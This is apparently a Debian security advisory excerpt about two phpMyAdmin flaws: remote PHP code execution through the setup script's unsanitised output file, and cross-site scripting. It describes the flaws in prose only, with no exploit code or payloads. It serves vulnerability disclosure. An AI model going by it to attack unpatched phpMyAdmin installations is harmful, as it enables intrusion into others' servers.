"Several remote vulnerabilities have been discovered in phpMyAdmin, a
tool to administer MySQL over the web. The Common Vulnerabilities and
Exposures project identifies the following problems :

  - CVE-2010-3055
    The configuration setup script does not properly
    sanitise its output file, which allows remote attackers
    to execute arbitrary PHP code via a crafted POST
    request. In Debian, the setup tool is protected through
    Apache HTTP basic authentication by default.

  - CVE-2010-3056
    Various cross site scripting issues have been discovered
    that allow a remote attacker to inject arbitrary web
    script or HTML."
